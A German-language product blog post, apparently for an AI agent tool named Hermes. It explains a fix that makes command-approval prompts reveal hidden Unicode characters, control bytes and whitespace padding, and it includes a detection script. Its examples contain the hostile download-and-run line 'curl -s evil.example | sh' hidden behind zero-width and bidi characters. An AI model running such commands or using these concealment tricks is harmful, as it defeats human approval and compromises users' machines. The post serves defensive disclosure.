Der Approval-Prompt hat dich belogen: Hermes zeigt jetzt versteckte Zeichen und Padding


Es ist 1 Uhr nachts, und du bist gerade dabei, Schluss zu machen. Ein Kollege wirft noch einen Befehl zum „Aufräumen des Build-Verzeichnisses“ in den Chat. Du kopierst ihn, fügst ihn ins Terminal ein, und Hermes bittet dich um Freigabe. Du überfliegst die Zeile, liest rm -rf ./build und klickst auf Erlauben. Doch in dieser Zeile steckten zwei Zeichen, die du nicht sehen kannst: ein Zero-Width-Space und ein Bidi-Override, der die Leserichtung alles Folgenden umdreht — gefolgt von curl -s evil.example | sh. Was gelaufen ist, ist nicht das, was du freigegeben hast.

Das ist kein Gedankenexperiment. Terminals und Chat-Fenster haben keinerlei Abwehr gegen unsichtbare Zeichen. Zero-Width-Zeichen sorgen dafür, dass zwei völlig verschiedene Strings identisch gerendert werden. Ein Bidi-Override kann die hintere Hälfte einer Zeile in umgekehrter Reihenfolge anzeigen — genau der Trick hinter der Angriffsklasse „Trojan Source“. ANSI-Escapes können den Bildschirm leeren, den Cursor an den Zeilenanfang springen lassen und überschreiben, was du gerade gelesen hast. Und ein paar hundert Leerzeichen genügen, um das gefährliche Ende aus dem sichtbaren Fenster zu schieben — oder hinter den 200-Zeichen-Ausschnitt einer Chat-Karte.

Die Freigabe ist der einzige menschliche Kontrollpunkt in dieser Kette. Wenn das, was sie zeigt, nicht das ist, was ausgeführt wird, existiert dieser Kontrollpunkt nicht.

Ein Befehl kann wie A aussehen und als B laufen

Fangen wir beim Mechanismus an. Der Approval-Prompt bekommt den rohen Befehlsstring und malt ihn auf den Bildschirm. Das Problem liegt im Malen — dabei geht Information verloren:

  • Zero-Width-Space (U+200B), Zero-Width-Joiner (U+200D), Soft Hyphen (U+00AD) werden mit Breite null gerendert. Du siehst nichts, sie sind aber weiterhin Teil des Strings.
  • Bidirektionale Overrides und Isolates (U+202A–U+202E, U+2066–U+206F) ändern die Anzeigereihenfolge des nachfolgenden Textes, sodass eine angehängte Payload wie harmlose Aufräumarbeit aussieht.
  • Variation Selectors (U+FE00–U+FE0F) und der U+E0000-Tag-Block sind konstruktionsbedingt unsichtbar — der Tag-Block ist ein gängiger Weg, versteckte Anweisungen einzuschmuggeln.
  • Rohe Steuerbytes: Eine ANSI/OSC-Escape-Sequenz kann eine Zeile löschen oder den Cursor verschieben, und ein einzelnes \r sorgt dafür, dass die zweite Hälfte einer Zeile die erste überschreibt.
  • Whitespace-Padding: Hunderte ASCII-Leerzeichen oder Full-Width- (U+3000) bzw. Non-Breaking-Spaces (U+00A0) drücken das eigentliche Ende über den Rand des Panes oder hinter einen Vorschau-Ausschnitt.

Nichts davon ist exotisch. Kopierst du einen Befehl von einer Webseite, aus einem Issue-Thread oder aus einem Chat-Log, reisen die unsichtbaren Zeichen mit. Vergiftete READMEs und „Ein-Zeilen-Installer“ sind die üblichen Transporteure.

Was der Fix macht: das Unsichtbare sichtbar

Die Änderung liegt in agent/redact.py und ergänzt zwei Funktionen. sanitize_command_for_display() verwandelt versteckte Inhalte in sichtbare Escapes; redact_approval_display() führt zuerst die Secret-Redaktion und dann diesen Sanitizer aus. Jede Stelle, die einen Approval-Prompt rendert, nutzt jetzt die letztere.

Die Regeln, so wie sie implementiert sind:

Inhalt Was du jetzt siehst
Zero-Width-Zeichen, Bidi-Steuerzeichen, Variation Selectors, Tag-Zeichen, Steuerbytes Als Escapes dargestellt, z. B. \u200b, \u202e, \U000e0041, \x1b
21 oder mehr aufeinanderfolgende Whitespace-Zeichen mitten in der Zeile, nach sichtbarem Text Zusammengefasst zu ⟨+N whitespace chars⟩
65 oder mehr aufeinanderfolgende Whitespace-Zeichen am Zeilenanfang Derselbe Marker — echte Einrückung bleibt unangetastet
4 oder mehr aufeinanderfolgende Leerzeilen Zusammengefasst zu ⟨+N blank lines⟩
Normale Einrückung, Tabs, Zeilenumbrüche, gewöhnlicher Text (jede Sprache) Unverändert, Byte für Byte

Die Schwellen sind nicht willkürlich. 21 Leerzeichen mitten in der Zeile und 65 am Anfang liegen weit jenseits dessen, was ein Mensch als Einrückung schreibt, und genau in dem Bereich, mit dem Inhalte aus dem Sichtfeld geschoben werden.

Ein Befehl mit einem Zero-Width-Space und einem Bidi-Override vor der echten Payload wurde früher also als sauberes rm -rf ./build angezeigt. Jetzt sieht er so aus:

⚠️ Approval required
  rm -rf ./build\u200b\u202e; curl -s evil.example | sh

Und bei einer Zeile, die mit 300 Leerzeichen aufgefüllt ist, wird das Ende wieder in die ersten 200 Zeichen zurückgeholt:

echo ok ⟨+300 whitespace chars⟩curl -s evil.example | sh

Wo er greift

Ein Fix, alle Oberflächen: der klassische CLI-Approval-Prompt und seine Callbacks, die Approval-Karte, die das Gateway in Chat-Plattformen postet, der Pending-Body für execute_code, Approval-Transporte von Plugins und die Naht _redact_approval_command in gateway/run.py — der gemeinsame Einstiegspunkt hinter Messaging-Karten, TUI, Desktop und dem API-Server. Diese Naht ruft die neue Funktion mit force=True auf, sodass die Bereinigung versteckter Zeichen auch dann greift, wenn security.redact_secrets ausgeschaltet ist (die Secret-Redaktion lässt sich dort ebenfalls erzwingen).

Wenn du jemals einen Befehl in Discord, Slack oder Telegram freigegeben hast: diese Karte trägt die Escapes jetzt.

Die entscheidende Grenze: nur Anzeige

Sei dir klar darüber, was das hier nicht ist, sonst liest du es als Umschreiben des Befehls:

  • Die ausgeführten Bytes bleiben unverändert. Zur Laufzeit wird nichts umgeschrieben.
  • Die Bewertung im Smart-Modus liest den rohen Befehl, nicht die bereinigte Kopie.
  • Die Pattern-Keys der Allowlist werden aus dem rohen Befehl berechnet, damit „immer erlauben“ nicht durch eine Anzeigeänderung auseinanderläuft.

Anders gesagt: Das hier befähigt dich zu sehen, es trifft die Entscheidung nicht für dich. Ein Befehl, der für sich genommen gefährlich ist, bleibt gefährlich, auch wenn er korrekt angezeigt wird — du musst ihn ablehnen. Und Befehle, die der Smart-Modus ohnehin durchwinkt, zeigen überhaupt keinen Prompt, dieser Fix deckt also nur die Prompts ab, die ein Mensch tatsächlich zu sehen bekommt.

Nutzung: nichts zu konfigurieren

Es gibt keinen Schalter und keinen Config-Key. Der Fix sitzt im Rendering-Pfad für Approvals und ist standardmäßig aktiv. PR #81403 wurde am 2026-11-01 gemergt und ist mit v0.22.6 (2026-11-02) in ein Release gekommen – ein Update aktiviert ihn; nur v0.22.5 und älter haben ihn nicht.

Um die Wirkung selbst zu sehen, füttere ihn mit einem Befehl, der ein verstecktes Zeichen enthält (setze an der Stelle von \u200b unten ein echtes Zero-Width-Space ein), oder prüfe die Skripte, die du ohnehin schon ausführst:

import unicodedata

SUSPECT = set("\u200b\u200c\u200d\u2060\ufeff\u202a\u202b\u202c\u202d\u202e\u2066\u2067\u2068\u2069")

def scan(text):
    for lineno, line in enumerate(text.splitlines(), 1):
        hits = [(hex(ord(c)), unicodedata.name(c, "?")) for c in line if c in SUSPECT]
        if hits:
            print(lineno, hits)

scan(open("deploy.sh", encoding="utf-8").read())

Dieser Scan lohnt sich über Deploy-Skripte, CI-Konfigurationen und jeden Installationsbefehl, den dir jemand schickt.

Warum so ein kleiner Fix zählt

Approval-Müdigkeit ist real: Wenn Prompts ständig kommen, klicken Leute reflexhaft auf Erlauben. Wenn der Prompt selbst gefälscht werden kann, ist das Klicken auf Erlauben eine Unterschrift mit geschlossenen Augen. Diese Änderung fügt keine neue Sicherheitsschicht hinzu und macht keinen gefährlichen Befehl sicher — sie bringt „was du siehst“ wieder in Deckung mit „was laufen wird“. Für alle, die ein Dutzend Befehle am Tag freigeben, ist diese Deckung mehr wert als die nächste Regel.

Weiterlesen: warum ein Approval-Prompt wartet, statt in ein Timeout zu laufen, und was passiert, wenn er es doch tut — siehe Approval-Prompts warten, bis geantwortet wird und den Revert des Approval-Timeouts. Wenn du die Approval-Policy noch nicht konfiguriert hast, fang mit Smart Approvals und der Referenz zum config-Befehl an. Und bevor du Approvals komplett abschaltest, lies unbeaufsichtigte Approvals.